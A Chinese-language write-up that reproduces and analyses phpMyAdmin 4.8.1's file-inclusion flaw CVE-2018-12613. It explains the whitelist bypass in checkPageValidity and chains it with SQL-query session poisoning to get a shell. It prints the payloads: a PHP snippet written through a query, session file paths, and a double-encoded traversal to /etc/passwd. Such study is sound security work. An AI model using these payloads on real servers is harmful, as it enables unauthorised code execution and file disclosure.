我知道phpmyadmin的getshell大概有日志写马和select into outfile两种姿势,最近又新学了一种getshell姿势,赶紧记录一下
思路大概就是我们执行的sql语句会被记录到你的session文件中去,那我们就可以写马到自己的session文件,然后利用远程文件包含漏洞(CVE-2018-12613),导致可以getshell
漏洞复现
环境:
phpmyadmin4.8.1
php 7.2.5
登入后查询select “<?php phpinfo();?>”;
这个查询语句会记录到我们的session文件中去
那我们利用phpmyadmin的远程文件包含漏洞包含该session文件就可以rce
常见的session文件存在位置
/tmp
/var/lib/php/session
Windows:
C:\WINDOWS\Temp
我们这里是在/tmp目录下
利用远程文件包含漏洞payload成功rce
漏洞分析
首先是在index.php的55行一共有5个判断条件,判断成功后就会包含我们传入的变量,现在目标就是让条件都成立
第一个不为空,好说
第二个为字符串,好说
第三个不能以index开头,好说
第四个不能在黑名单里,好说
主要是看第五个,我们得让他返回true
跟进Core::checkPageValidity,这里面一共有三处可以返回true,我们一处一处看
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
首先定义了一个白名单,白名单就是这个
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
...
);
接下来就是判断$page是否在白名单,我们是为了包含其他文件,那这肯定不在白名单里面,所以第一个返回true的不行
那就看第二个返回true的地方,它是将$page中问号前面的截下来并判断是否在白名单里面如果在就返回true,我们可以构造$page为db_sql.php?/…/…/…/…/…/…/…/etc/passwd,这样就可以返回true,从而if判断成功进入if分支,但是include里面是不能有问号的这就导致包含失败,所以第二个返回true的地方不能用
我们继续看第三处返回true的地方
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
先对$page解码然后依然将$page中问号前面的截下来判断是否在白名单里面如果在就返回true,那么我们可以构造$page为db_sql.php%253F/…/…/…/…/…/…/…/etc/passwd,其中%253F为问号的二次编码,这样的话返回true从而进入if分支,然后包含db_sql.php%3F/…/…/…/…/…/…/…/etc/passwd,这就可以正确包含到passwd文件了
Getshell
根据phpmyadmin会将用户执行的sql语句写入用户的session文件中,致使我们可以写马进session文件,再通过这个远程文件包含漏洞从而来getshell
参考文献
https://xz.aliyun.com/t/5534
https://vulhub.org/#/environments/phpmyadmin/CVE-2018-12613/
|